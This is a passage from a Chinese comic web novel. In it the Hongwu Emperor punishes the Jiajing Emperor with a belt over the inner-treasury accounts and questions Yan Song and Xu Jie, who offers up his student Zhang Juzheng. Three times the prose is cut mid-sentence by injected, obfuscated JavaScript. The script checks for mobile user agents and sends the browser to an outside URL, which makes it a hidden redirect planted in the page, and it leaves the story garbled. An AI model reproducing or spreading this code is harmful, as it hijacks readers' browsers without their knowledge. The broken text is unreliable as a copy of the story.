“……这样吧,我听老四的玄孙说,现在朝廷批驳,首在司礼监,那就把司礼监值房内地字第二号、第三号铜柜内奏折取来;再把无逸殿后的密室开了,里面有几个锁着的铁箱子,将铁箱子撬开,内里的库房账册也拿来;下面跪着的是——喔,老四搞的什么内阁——把内阁当值的记簿也带上吧,立刻去办。” 心平气和,简单几句,黄锦及所有人立刻趴了下去,涔涔冷汗,瞬即湿透衣背——听话听音,众人已经听出来了,虽然阔别大明二百余年,但高皇帝在地下着意收罗,对地上的消息还未必有多么隔膜! ……想想也对,高皇帝是到了地底就能歇下心来的人么?就算远隔凡间不能插手,地底也有源源不断的后世子孙、忠贞大臣,甚至朝廷春秋的供奉、每逢大事的祭祀……只要一一点检,有意推敲,那么熟知就里,其实不是什么难事。 换句话说,他们现在等来的并不是一个懵逼古董,而很可能是一个对朝廷底细了如指掌,对权力框架谙熟在心,花费了数百年来研判大明朝的绝对老资历……换言之,高皇帝 pro max 版! 天呐!! 这消息简直比幻想的最大恐怖还要恐怖;所以在场所有人直接傻在原地了;不过,高皇帝可没有说书人的宽宏与体谅;他不耐烦的啧了一声,几个靠得近的太监立刻四肢抽搐,腿肚子开始了转筋;这下不用别人再吩咐什么了,被瞪一眼的宫人哆嗦着站起——腿软了站不起来——于是就地跪倒,膝行着爬了出去,痛哭流涕的去取文件了。 杨易好奇道:“司礼监我倒明白,敢问无逸殿后的密室是什么?” “据下来的几个大臣说,是存放皇帝私库的账册。”高帝淡淡道:“他们倒和咱说过不少事体,都是牵涉宫中……” 斯人已没,地府万事皆空;在一生盖棺定论、真伪分明之后,还能坦坦荡荡见高帝,至少本人对大明朝的忠诚热忱,不应该有丝毫的怀疑。可是,问题来了,一个对大明朝忠诚热忱的忠臣义士,会怎么评价当今飞玄真君的所作所为呢? 缩在纱幔中的真君明显打了个哆嗦! “当然,内库账册的底细,那就没有大臣能够知道了。”高皇帝道:“老四说,当初设立内库,是为了办一点外朝不方便办的事,效率更高一些;但现在嘛……” 在太宗永乐皇帝朱老四手里,皇宫内库的主要作用就是存钱打蒙古,以及搞海贸;到我们当今飞玄真君,内库的主要作用就是存储珍稀药材、天材地宝、各色矿石、妙妙小仙丹,放修仙小说里好赖也算个洞天福地级别的机缘;这就是我们大明朝的基因退化,橘生淮北则为枳——当然,考虑到这内库是十几代的祖传小金库,那么内里存放的列位皇帝的古怪隐私,还真不知有多少。 “账册中有些东西,还是不好见人的。”高帝道:“如果先生方便,是否可以移步?” 真要是十几代皇帝的妙妙小玩具都在外朝曝光了,那老朱家真的也没啥脸混了;这就仿佛打开了浏览器历史记录直接对外广播,其麻辣鲜香热烫劲爆绝对能让一切野史就地昏厥,账册中的每一条都必将能衍生出一本黄黄大作,史实与想象碰撞之激烈,恐怕钩子文学,都要相形见绌—— 显然,高帝只是愤怒不是没有脑子,并不想现在就为后世子孙预定一个网黄榜首;所以一切文件,都必须在秘密情形下处理——当然,这个“不好见人”,肯定是不能包括召唤之说书人的;毕竟杨先生距离凡人,确实已经相当之遥远了,对吧? 还好,杨易也并不想在早上就欣赏什么辣眼大作,他婉言谢绝: “这就不必了吧,在下在外面等候就好。” 高皇帝也不啰嗦:“那么,咱就尽快了事,不叫先生久等。” 他转过身去:“宫中有没有密室?很好,把人先给抬进去,有话咱再细问!” 高皇帝随手一指,缩在纱幔中的飞玄真君立刻倒抽了一口凉气——现在被高皇帝拎到密室,会有什么结果,那还用多想么? “不——” 高帝冷冷横过一眼,真君像是被骨头卡住了脖子的鸡,顷刻间不做声了。 高台上的几个太监缩在一起,尽力减少一点存在感;但这样的举措显然没什么用,因为他们迅速感知到了高帝的余光——于是太监们战栗抖动,汗流浃背,还是只有挣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288077|198458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扎着爬了起来,扶住了纱幔下的软椅—— 飞玄真君:??!! 真君不可思议地瞪大了眼睛,发出了咆哮: “你们!” ——还有你们吗,狗杂种! 面对真君之怒吼,被顶在最前面的宦官面色惨白,眼泪汪汪,却一点不敢多言;实际上,他又能多言什么呢?无论从道理上讲、从情理上讲,还是从单纯的暴力对比上讲,现在都没有半点挣扎的可能啊,陛下!识时务为俊杰啊,陛下! 再说了,他们这不也是为了陛下好吗?事情都已经这样了,再拖拖拉拉,拒不执行,除了继续激发高皇帝的狂暴怒意之外,还能有什么用处呢? 飞玄真君恐吓无果,只能绝望看向剩下的太监——太监们全都匍匐在地,不敢仰视,只有最亲近的黄锦似乎挣扎了一下,迅速又被附近的人压住了;宫中长大的宦官从小就被洗脑,骨子里的三观就是维护皇权,以及百分之百的敬畏权势;而如今他们面对的就是皇权本权,一切力量巅峰的巅峰,那么嘤咛一声,彻底丧失反抗能力,自然也绝不是什么意外…… 真君悲哀地移开目光,期盼的看向金阶下的大臣——至少读圣贤书出来的士人,应该能够侃侃谔谔,秉持风范,为了皇帝的体面拼力一争吧? 科场出来的士大夫确实比宦官们体面一点,至少他们还是在跪坐原地,没有直接趴下来淌尿;但诸位庄严郑重的士大夫们都是低垂着头一言不发,没有一个人回应圣上的眼神…… 唉,想想也是,这中枢要真有什么铮铮铁骨的人才,那也不能在飞玄真君万寿帝君折腾几十年之后,还力挺到现在呀! 总之,在一片死寂诡异的气氛中,这软轿还是摇摇晃晃抬了起来,逶迤向殿后走去;真君周身发抖,匍匐轿上,仍然拼命向后张望;甚至惶恐之余,不惜大声嚎叫: “高皇帝饶恕,高皇帝饶恕!爷爷呀,这些事不是你看的那样——” 啪! 高皇帝顺手一个比斗,真君尖声惨叫,就地三百六十度旋转,直接栽翻在床,登时脸肿如桃,再也说不出话来! ——怎么,现在还搅来搅去,拖拖拉拉,你当老子心情很好? 皇帝的哀鸣触目惊心。严嵩、徐阶等都稍稍抬起过头,但也仅与真君那高高拱起的臀部稍一接触,很快又逃也似的的移开了——爱莫能助,为之奈何? 于是,在众目睽睽之下,真君还是被颤颤悠悠的拉进了后殿,纵使连连哀叫,仿佛马嘶,仿佛猪号,最终也无济于事;君臣远远相望,唯有彼此恻然而已。 唉,群臣掩面救不得,回看血泪相和流! 挣扎的真君进去了,哆嗦的太监宫人们进去了,高皇帝打了一声招呼,也兀自进去了;随后就是当啷当啷,一阵锁响,大殿殿门重重紧闭,终于将无助的真君隔绝在层层高墙以后,哀婉之叫声,亦渐渐只剩祈求的余韵。 大半的人散去,正殿一下子变得格外空旷,也格外安静;说书人在原地站了片刻,终于溜溜哒哒,从金阶上踱了下来;他垂头看了看仍旧跪坐的诸位大臣,诚恳出声: “高皇帝已经走了,各位总可以起来了吧,地上还是很凉的。” 没有人动作。 杨易继续劝解:“列位诸公,跪一跪也就行了,谁知道洪武爷他看得见看不见呢?” 跪在他前头的严嵩终于抬起头,露出了一张汗水淋漓、呆滞无言的老脸。 “……也不至于此吧。”杨易都有点同情了:“高皇帝修行了这么多年,总不至于还这么激进——” 话音未落,大殿之后就突然传来了一阵模糊、凄厉,高亢绝伦的尖叫! 10. 历数 “啊!!” 杨易停了一停,颇为尴尬地望了望重重紧锁的宫门: “……好吧,高皇帝一时上头,控制不住,也是有的。但是总该能冷静下来——” “啊!!” 第二声模糊的尖叫,然后是啪的一声巨响,即使远隔宫苑,依旧能够听清楚那种柔韧物体划破空气时的嗖嗖响动,令人毛骨悚然的尖锐鸣叫。 “这是……”杨易愣了一愣,反应了过来:“怪不得今天高皇帝是这么一身装束呢!” 是的,刚刚召唤上来的时候,高皇帝穿的就不是皇帝日常宴居的宽松衣服,而是窄袖短袍,束腿裤子,更适合剧烈运动;他腰间所紧系的腰带,也不是什么玉带犀角带,而是一条精光锃亮,质地上佳的铜头皮带——杨易原本还以为,是高皇帝在下面改了爱好,转而喜欢起运动风打扮了呢;现在看来,人家分明是摩拳擦掌,一切都预备妥当了嘛。 不过说来也是,高皇帝现在的举止,又怎么不算一种剧烈运动呢? · 总之,即使尽力封锁,宫内的声响仍然时有耳闻,而且每一样都非常之不妙——一开始是嗖嗖的皮带挥舞声,然后是尖利凄凉的叫声、喊声、求饶声;片刻后求饶无果,换成了哭天抢地的嚎叫——然后是一声狂怒的呵斥,嚎叫立刻变得含糊不清,似乎是被人堵上了嘴巴…… 喔,事实上,这番声响还挺有规律的,并非长久持续,搅成一团;而是断断续续,每隔一个固定的时间,才会爆发出一阵撕心裂肺的惨叫;如果算一算长短,那么这个间隔基本就是读一页账册的时间…… 这么看来,高皇帝还看得很仔细么! 不过,任由宫内闹得天翻地覆,丁零当啷,哎哟叫唤,时有耳闻,外面匍匐的众位大臣,却绝没有一点动静。 实际上,他们不但僵硬跪坐,犹如木雕,甚至室内回荡的气氛,隐约都变得更为沉寂、冷淡、乃至于近乎绝望了——显然,高皇帝之所以先下重手料理飞玄真君,那绝不是因为对外姓的臣子很有什么更加慈悲的宽容;或者不如说,高皇帝料理真君时还得听一听证据,有那么一点狡辩的余地;要是料理到他们,那恐怕就…… 在这种情形下,还有谁愿意搭理现在无聊之至,只能背负双手,原地逛来逛去的说书人呢?说难听点,就算真惹毛了说书人直接结果在当场,那也比落到高皇帝手上痛快百倍呀! 还好,高皇帝的效率总是异常迅速,大概是担心外面等急了戏唱不下去;说书人只在原地慢悠悠转了五圈,紧闭的宫门就再一次打开了,高皇帝面无表情,双手扶腰,一马当先,大步在前;手上锃亮的皮带,依旧在滴滴答答滑下液体;后面一堆太监则哭哭啼啼,用软凳抬出了一个用床单罩住的瘫软人形,要不是前后各露出一个肿大的头和肿大的腿,以及中间那莫名隆起的臀部,几乎还要以为他们抬着的是头猪——等到大门敞开,还有一股浓重的虎骨药酒气味扑面而来,熏得杨易连连后退。 显然,高皇帝还是有分寸的;大概是知道狂怒之下直接把人抽噶了就啥也没了,所以他的铜头皮带挥舞得嗖嗖作响,但多半只能往大腿屁股和后背招呼,主打一个体验感;为了防止真君承受不住直接昏过去,还得在铜头上泡点药酒,所谓皮带沾虎骨,边打边消毒——一边淤血,一边活血,随时还叫人预备参汤和牛乳,提气补身,舒缓筋骨;包管真君死去活来,哀嚎连天,精力四射,绝无亏损,连现场装晕都做不到。 这就是久经考验的开山祖师,在多年扒皮中积累下的宝贵经验;实践才能得出真理,明不明白? 高皇帝龙行虎步,迈至殿前,目光左右横扫,所过无不战栗。 “刚刚只查了两本内库的账簿。”他冷声道:“也可称叹为观止,也可称蔚为壮观!可惜,现在是不能再查下去了,要是再查下去,老子怕是真会忍不住——” 忍不住什么?后面瘫着的飞玄真君又打了个寒战;高皇帝则停了一停,深深呼吸了一口气,提了一提失去皮带的裤腰——显然,他必须要保持冷静,保持克制,才能控制局势;毕竟现在不是洪武朝了,要是因循旧例,放纵自己,那恐怕剥皮的名单,要从西苑一直拉到东直门去…… 莫生气,莫生气,气出病来无人替;要摸清楚这些不孝的龟孙王八蛋做出的手脚,理智必须保持清醒,绝不能被情绪再左右一点—— “皇宫的事情,大致看了一点,该打该杀,日后一一料理;今天倒是不急。”高帝道:“现在再来谈内阁。你们与杨先生对谈的缘由,咱已经晓得了个大概。内阁协理政务,一切因果,总不能推脱。” 内阁群臣们齐齐冷战,默然拜了下去——这就是熟读国朝历史的高手在绝境中的理智之处了,在知道挣扎绝没有作用之后,那就根本没有必要再浪费精力;否则结局只会更加恐怖。 “先解决杨先生过问的事情。”高皇帝漠然道:“那个高凤的小王八构陷栽赃,手段下作,本该处死;但先生宽宏大量,自己说了不是大事,那也就罢了——从宽赏他五十大棍,抄了他的家,把他扔去涮马桶去。至于其余——先说京中流民,司礼监的奏折说,春日以来兵马司抓到的流民增了五六倍之多,这到底是怎么说?” 高凤哀嚎着被拖了下去,严阁老熟视无睹,只是恭敬磕头,汗水滴湿了地毯: “回太·祖皇帝的话,京中流民,多半来自河北;河北这几年气候失调,收成不好;外加聚敛太重,劳役太多,民不堪命,故有流亡。往年臣等秘谕河南巡抚,令其设法拦截,就地收容,绝不能让流民窜至京城,惊扰圣驾;但现在,现在看来,河南怕也是顶不住了……” 杨易:? 闻听此言,说书人忍不住瞪大了眼睛! ——不是哥们,半个时辰前你不还是振振有词,坚持流民增多不过是天相失调的必然现象,与人事并无干系么?怎么现在嘴巴一张,又是承认“聚敛太重”、“劳役太多”,又是承认“河南顶不住”了呢? 你把老子当倭人哄呢?我申气了! 面对说书人愕然诧异、大为谴责的目光,严嵩跪伏于地,却没有半点动摇——笑话,做政客的第一要务,不就是看人下菜碟?显而易见,你要敢在高帝面前就政事撒谎,那估计你的九族都得从地里爬出来赞美你的勇敢;至于对说书人撒谎嘛……哎呀,那也不过只是一点选择性的真实呈现,对不对? 高皇帝的脸色阴晴不定,变了一轮: “既然赋税过重,为什么不削减?安顿百姓,本是朝廷的职责!” “内阁已经设法减过了河南的两税。”严嵩俯首道:“只是流民背井离乡,却未必只为了一点赋税……自,自前年以来,朝廷修建宫观,为了风水考量,烧的砖石制定要用黄河几处隘口的泥沙;附近的百姓被征召去挖沙烧砖,搬运土木,连农忙时亦不得免;长此以往,自然,自然……” 没错,严阁老只是贪不是傻,当然不会不懂流民肆虐的恐怖威胁;如果朝廷真是他一个人说了算,那么在意识到河南局势难以控制之时,当然拼了命也要挤出资金赈济灾情,降低赋税取消劳役,设法安抚流民,绝不能出什么大乱子——可是,天下的事情,轮得到内阁拍板么? 迷信方术,迷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288078|198458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 信风水,挥霍无度,甚至连沙子都要千里迢迢从黄河边运送进京,你猜,这又是谁的手笔? 被如此直接的戳破底细,软架上的飞玄真君都忍不住抽了口凉气,向严嵩投去愤怒的目光——真是万万没有料到,彼此相得十余年的老baby,居然也有背刺他的那一天!忘恩负义,琵琶别抱,人之薄情,一至于斯;唉,这天下还有什么可以信任?! “你!”真君费力挣扎,从剧痛的牙龈中蹦出话来:“河南的工程,哪个没有捞?无耻奸臣,竟敢归咎于上,欺天了!!——啊!” 嗖的又一计爆响,真君惨叫一声,像触电的王八一样绷直了! ——君臣一起捞钱,很体面是吧? 高皇帝将皮带的铜头从真君肿胀的屁股上移开,依旧冷冷注视战栗的严嵩。 “好,好!”他道:“为了修几座宫,几座观,连逼反河南都不顾了;做的好事,做的好事!这大明朝能在你们几个手上活到今日,也真正是不容易之至!” 他将腰带一扶,向前一步,语气依然毫无感情: “说吧!这几年来还有多少这样的好事,一一都说给朕听!你不知道吧?朕就喜欢听这样的好事,就爱听这样的好事!这样的好事,要不能广而告之,一起分享,那岂不是可惜了了的!说!” 严阁老的喉咙哽了一声,迅速从牙缝里挤出了声音来;尽力保持语气平稳: “三年前,朝廷在湖南辰州征收朱砂,供应西苑炼丹所需;千里转运,消耗太大;开采朱砂的毒害,又实在不清。所以当地百姓,多有骚动,听闻,听闻还有白莲教居中煽动,情形颇有可虑。” “喔。”高皇帝道:“继续。” 说得相当之平静,但真君即刻啊的惨叫了第二声,扭成了一条惨痛的蛆——因为高皇帝屈身展臂,行云流水,在他屁股上又猛抽了一下。 “……还有,为了修建朝天观、玄都观,必得成型的大木料;内地实在没有这样的木材,只有从云贵的深山运来;沿途逢山开林、遇水架桥,那个开销……” “啊!” “开销从何处来?”高皇帝道:“朕查阅内库,早已被这败家子空空如也,怎么支付得起?难道是抢的?” “——祖爷爷,我没有,我四季常服,不过八套——啊!” “一部分出自加征的税赋。”严嵩小声道:“还有一部分是改旧为新,打算将先前南直隶供奉的几座极大的镀金铜佛熔了送到北边,改为铸造三清塑像……” “南直隶?”洪武皇帝愣了一愣,拼力思索——供奉得起纯铜佛像的寺庙可不是什么小角色,按理来说他应该有点印象才对;但现在想来想去,却一无所知,不,等等——“南直隶?安徽?安徽最大的寺庙,不就是——” “回高皇帝的话。”严嵩再也无法遮掩,只能硬着头皮交代:“因为实在缺乏铜料,的确,的确是想把凤阳皇觉寺的庙产,动上一动,日后再补亏空……” 高皇帝:………… 不错,凤阳,皇觉寺,正是前佛门弟子、剥皮匠宗师、畅销书《大诰》作家朱重八先生昔年微末之时,挂单求生,参悟佛法的所在。 据传,重八先生就是在这里领悟到了上天的启示,从此走上了逐鹿中原、问鼎天下,将蒙元士绅——简称元绅——一个也不剩的从世界上驱逐出去的光辉道路——换句话说,这就是大明的龙兴之所,真正祖脉所在;那么,“”把这里的庙产“动上一动”,又是什么个性质呢? ——你干嘛不把金陵高皇帝的陵墓也一起刨了卖钱呢? “——啊!!” 11. 献徒 说实话,真君这做得确实也有点太过分了。 毫无疑问,盗用凤阳皇觉寺财产什么的,基本踩准了高皇帝的一切底线,简直已经是在雷区上蹦迪——连皇觉寺都可以无视,对祖制的轻蔑可想而知;朱洪武生前苦心孤诣,所竭力设立的一切制度防线,在这种人面前,当然都要沦为虚谈;更不必说,在糟蹋完祖宗规矩、动摇了老朱家合法性之后,此人居然还敢大肆搜刮赋税,损毁统治根基,给予了天下一切反贼最梦寐以求的机会! 践踏他精心设立的制度、侮辱他刻骨铭心的往日印记、毁灭他耗尽心血的毕生事业……说实话,就算朱洪武的仇家有意要找茬,等闲恐怕都做不到这个程度;看到这样孝顺的好大孙,地下陈友谅、张士诚得知,恐怕也该释怀了吧? 总之,洪武皇帝一言不发,又拎了拎皮带,当空甩得嗖嗖作响!破空之声,凌厉更胜往昔! 眼见形势不对,刚刚被迫交代的严阁老只能硬着头皮劝解:“罪臣昧死上禀,移用庙产一事,不过时下面狂徒的进言,许与不许,尚且不知……” 洪武皇帝懒得理他,皮带直接甩了个鞭花! “许与不许,尚且不知”,那就是已经许了!你在老子面前装什么?这点低能的推卸手段,当老子看不透么? 铜头皮带闪闪发亮,担架上的飞玄真君双目圆睁,不知从哪里迸出的精力,竟而挣扎着翻下担架,双手并用,拼力向前爬去——圣人不都教诲过了吗?小杖受,大杖走!这样的一发铜头皮带下来,怕不是死猪都得打得叫唤出来!真要挨在身上,那还得了—— 洪武皇帝哼了一声,踏步向前,一把抓住真君后颈,只用力一捏,就捏得真君嘶声惨叫,眼泪狂飙,恨不能当场碰头打滚,撒尿哀嚎;随后再向上一提,真君就只能像只鸡一样在半空晃荡,衣衫乱挥,手舞足蹈——唉,炼得身形似鹤形,不怕高帝勒脖颈! 不过,正在真君毫无体面,嘶声大叫之时,跪在下首的徐阶徐尚书忽然挣扎着膝行上前,重重叩下头去: “启禀高皇帝,臣礼部尚书徐阶有本呈奏!” 声音嘶哑,回荡四方,洪武皇帝拎着真君,慢慢转过头来: “……你要说什么?” 纵然已经绞尽脑汁,做了一切的心理预备,徐阶依旧大汗淋漓,声音嘶哑: “臣请高皇帝示下,到底打算如何处置当今圣上?” “怎么。”高皇帝道:“老子收拾朱家的人,还要你过问一回?” “不敢。”徐阶匍匐道:“只是天家没有私事,天子亦没有私事!高皇帝一言一行,都将永铭青史,是万世子孙的模范,臣待罪朝廷,岂可不知!也正因如此,臣才不能不斗胆上奏——高皇帝与当今圣上,不仅是祖孙,一样也是君臣;君使臣以礼,上待下以慈,臣下有过,可以责备、可以惩罚,但万没有当着众人的面,这样百般殴打,毫无体面的道理!高皇帝就算不为子孙想想,也要为大明朝想想,圣上毕竟是天子,圣上毕竟是君父,他的体统,不能不顾及呀!” 滔滔不绝,一气道来,此言一出,不仅晃荡的真君双目大张,灼灼闪亮;就连四面的众人都忍不住呆滞了片刻! 我靠,还真有人爱真君呀? 唉早上起蒙了脑子进水了,居然还撞见飞玄真君铁血真爱粉了——哥们,要不你吃点好吧?! 就连高皇帝都不由愣了一愣,才终于反应过来: “……徐阶是吧?咱看过里面的记档,年纪轻轻就升入中枢参赞机要了,也算受过这王八不小的恩泽;嗯,你做他的臣子,替他说话,也讲得过去。” “高帝何出此言!”徐阶再叩下头去,出声悲切:“天下是高皇帝栉风沐雨,百战打下的天下,普天之下,都是高皇帝的子民,若论臣子,臣当然也先是高皇帝的臣子!臣少年求学于松江卫所的公塾,此处学校,正是高皇帝昔年所创,令有司给以鱼肉、食米、尽力维持至今;要论恩泽,臣首先领受的当然也是高皇帝的恩泽!臣的一片心,不只为了圣上思量,也是为了高皇帝思量;高帝适才所言,非以上论下之道,臣伏祈高帝慎之!” 洪武皇帝:…… 自显现以来,洪武皇帝第一次有些沉默了! 说实话,徐尚书这一番话说完,不仅仅高帝默然,就连其余大臣都忍不住偷偷转头,以一种极为惊骇的目光盯住了这位同僚—— 我的天,还能A呀! 如果说方才与严阁老彼此配合,在说书人面前几进几出,遮掩弥缝,那已经是机智敏锐,惊为天人的反应;那么现在当着高帝的面纵横捭阖,胆识反应就真已经是望尘莫及之至——更不用说,徐尚书这一番话流畅高明,逻辑严密,还俨然没有半点可以挑剔的地方! 如果没搞错的话,这姓徐的入中枢才不过大半年,纯粹算个萌新吧……啧啧,此子竟恐怖如斯! 高皇帝将半晕的真君往地下一抛,稍稍揉揉额头,语气依然不善:“你想说什么?” 徐阶匍匐在地,心中跳动如雷。早在高皇帝勃然爆发之时,他就已敏锐意识到了事情实在不对,方才之所以拼死一争,也绝不是出于什么莫名的忠诚(以他平日的遭遇,对真君生出忠诚还是挺难的),而纯粹是为了自保——在高帝面前,飞玄真君和他的内阁根本就是一根绳上的蚂蚱,一个垮台,另一个决计也讨不了好去;高皇帝现在只抽真君,恰恰是因为他也不好随意废帝,只能痛殴一段发泄火气;但反过来想想,等真君挨完了打,等待大臣的又是什么?! 他们可没有一个皇帝的位分护身! 所以,他们必须挣扎,必须坚持,必须在高皇帝的愤怒臻至巅峰之前,想方设法谋一条生路——还好,现在绞尽脑汁,终于等来了一句救命的问话! “高帝以国事责备,罪臣无话可说,唯有伏诛而已。”他脑子飞转,口中不停:“只是国事败坏,并非一日;整顿料理,也非一朝之功。当今圣上即位之初,也曾锐意革新,铲除积弊,与天下更始;无奈行之未久,仓促而罢,这固然有意志不坚、心态浮躁的罪过,但究其根本,还是任命非人,没有堪当大局的人才,坚定推行……高皇帝应该明白,这种种的困局,哪里是痛殴一顿,就能解决的呢?” 没错,飞玄真君上台后,确实是一通胡搞,破坏极大;但说句实话,在真君上台之前,带明的体制也早就已经积弊丛生,摇摇欲坠了;实施改革,实际已经成了上下有志之士的共识。只是几十年来未有寸功么,那多半也是因为改革难度实在太高,等闲没有那样的坚定意志,也没有那样领袖群伦、足可主持大局的人才,只得小修小补,敷衍搪塞而已…… 那么问题来了,这样根本性的、持久性的麻烦,是高皇帝打两顿真君就可以解决的么?你就把真君的屁股打成八瓣,那也变不出人才来呀! 高皇帝垂下目光,不辨喜怒。 “……你倒是很有点眼力。”他轻声道:“缺乏人才……不错,这几十年来,大明朝确实是万马齐喑,盘踞要津的,都是些软熟敷衍、顺风摇摆,如你们这般的货色;可以担当大事者,竟无一人。但千人之诺诺,不如一士之谔谔,栋梁之才,又哪里是等闲可以出来的——怎么,你这样的角色,还别有眼光么?” 徐阶心头一突,知道最紧要的考验,最关键的博弈,终于还是要到来了! 没错,自从以青词马屁逢迎皇帝被拔擢入中枢开始,新任宠臣徐尚书纵观国事全局,早就在心里打起了鼓——一般人不明就里,可能还只对带明的政局颇为失望;中枢高层深晓底细,那才是真正的恐惧;一切残暴的欢愉,必将以残暴而告终,他们所做的一切,又怎么可能不迎来惨烈的清算?! 带明的政治搞得如何,你不知道,我还能不知道么? 事为之防,曲为之制,为了在将来必定的清算中保住自己的老命,徐尚书不能不未雨绸缪,竭力做好一点预备——当然,在这样残暴的清算里,权势与钱财都是没有意义的,唯一能够保住他将来的,只有人。 所以,徐尚书费尽心机,仔细挑选,终于在翰林院人才济济之中,为自己选了一个上好的弟子。 出色的弟子,高明的弟子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288079|198458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,天资绝伦的弟子,徐尚书精心的教诲他,培育他,像珍宝一样的秘藏他,带着他远离这污浊政治漩涡,引导他韬光养晦、打磨己身,静待他长久沉淀,厚积薄发;而所有的这一切,就是为了日后的那个万一。 徐家有徒初长成,养在凤池人未识;一朝选在君王侧,六部公卿无颜色——这就是徐尚书的最后底牌;苦心培育的掌上明珠,就等着某一日献予君上,可以换来一点庇护;就仿佛昔日勾践奉献西子、魅惑吴王一般……养得好子弟,货与帝王家;如今,就是那个长久预备的时刻了! 他恭敬叩首,声出朗然: “臣物色许久,夹带之中,确实有了不起的人物!” “喔,是谁?” “现裕王府讲读,翰林侍读学士,张居正!”他一字字道:“此人才气绝伦,见识高远,坚忍敏达,足任大用,唯高皇帝察之!” 说完此句,徐阶五体投地,再不敢稍有动作;但他屏息凝神,侧耳注意,精神却实在紧绷到了极点——张居正已经是他能奉献上的最罕异的珍宝,最倾尽心血的赌注;但现在却委实不知,这样的珍宝能否动摇高皇帝的一丝心弦;所谓爱屋及乌,争取一线生机…… 上方有了动静,却是那说书人咦了一声。 高皇帝转头看他:“先生有所指教?” 杨易迟疑道:“张居正么……” 要真是张居正,那徐阶不歇气说的这一大堆形容词,还真就能贴上…… 杨易有点犹豫了。说实话,先前被严嵩徐阶两个老登用官僚主义当头糊弄一回,他心中是相当之不爽的。要是能顺便收拾一通,未尝不是爽事;但现在嘛,如果真如徐阶老登所说,这张居正已入他的袋中,那贸然对此登动手,搞不好就会引发什么意料不到的连锁反应…… 面对高帝问询的目光,他迟疑许久,还是只能叹气: “唉,打老鼠总不能伤了玉瓶呀!” 是啊,打老鼠总不能伤了玉瓶!直到此时此刻,他才终于领悟到红楼梦中平儿的无奈——为什么有的时候抓住了贾环的错处,赵家的错处,也要大事化小,忍气吞声?因为你总要顾忌亲姐妹探春,玫瑰花一样的探春,贾家唯一有希望、唯一有能力,唯一还有可能挣扎一二的探春;现在也是一样的,徐老登固然无可顾惜,但如果因此损害了张居正的前途,那么大明朝的前途,恐怕也…… 听见这说书人语气古怪,似带宽缓,徐阶皮都提紧了! 高皇帝亦稍有沉默: “虽然如此,口说无凭,这张居正到底如何,毕竟没有见过。” 杨易张了张嘴,随即又闭上;可怜他才疏学浅,对张居正的了解,其实也只是一点自媒体的浮光掠影,确实没啥资格说话。当事人徐阶深吸一口气,刚要卖力再做推销,但洪武皇帝只抬一抬手,所有声响,顷刻也消失不见了。 “既然说得这么出色,那咱也不妨见见他。”他道:“见上一见,详细谈过,才能做定夺。” 在亲身体会过如今官僚体系的做派之后,朱洪武时不愿意相信任何文件报备了;他只愿意相信自己的眼睛、自己的判断,所谓boss直聘,找工作只与老板谈: “……至于其余的事情,等谈过之后再说吧。” “等谈过之后再说”!——也就是说,至少暂时不会做出决断了? 徐阶立刻瘫在了地上! 没错,所谓“再说”,仍旧只是个缓刑而已,要是张居正面试没有过关,不能雀屏中选,那么徐尚书的结局,仍然可以预料;但无论如何,他这献徒搏宠的法门还是起了效用,自己精心装饰、精心培育的明珠,还是打动了圣心,为自己争得了一日半日的喘息——哪怕多一天也是一天的希望啊! 遇到飞玄真君就奉献青词,遇到高皇帝就奉献弟子,遇到摆宗万历皇帝就奉献钩子——随风摇摆,时刻逢迎,这就是我们徐家赖以谋生的手段,明不明白? 徐阶满头大汗地缩了下去,趴在地上不出声了。高皇帝略一沉吟,则望向剩下的大臣: “你们呢?” 12.洪武杀 “你们呢?” 这一句话平平无奇,却像雷一样在当场每一个人的心头炸响! 毫无疑问,国事颓靡至此,内阁绝不能推卸责任;现在徐尚书长袖善舞,竭力挣扎,终于出卖爱徒,侥幸博取了一点喘息的机会;那么这沉重的叩问,如今就要降临在剩余一切重臣的头顶了: 你到底又有什么用处,可以让高皇帝高抬一点贵手的? ……喔当然,这一个疑问虽然一杆打翻,横扫无余,但现在能够影响的,其实也只有一人而已。在场的袁炜袁侍郎是不用说了,还堵着嘴巴在原地哼唧,基本属于路边一条,无人在意;次辅张治虽然低头不语,但心中却并不是多么紧张——众所周知,他入阁之后就被首辅严阁老明暗排挤,被架得两脚离地,基本就是内阁里的摆设;这样的摆设固然绝无实权,但也同样不承担什么责任;就算高皇帝发火下来,他大不了磕一个头,请罪告老,回家享受退休生活,岂不美哉? 唉,这么一看,严阁老虽然本意是坏的,但现在却执行得很好呀! 总之,张治已经开始畅想未来美好之退休生活,琢磨自家花园的装潢了,剩下的自是坚决闭嘴,一言不发;而眼下呢?眼下就只有严阁老汗流浃背,手脚发冷,独自一人承受高皇帝的压力了! 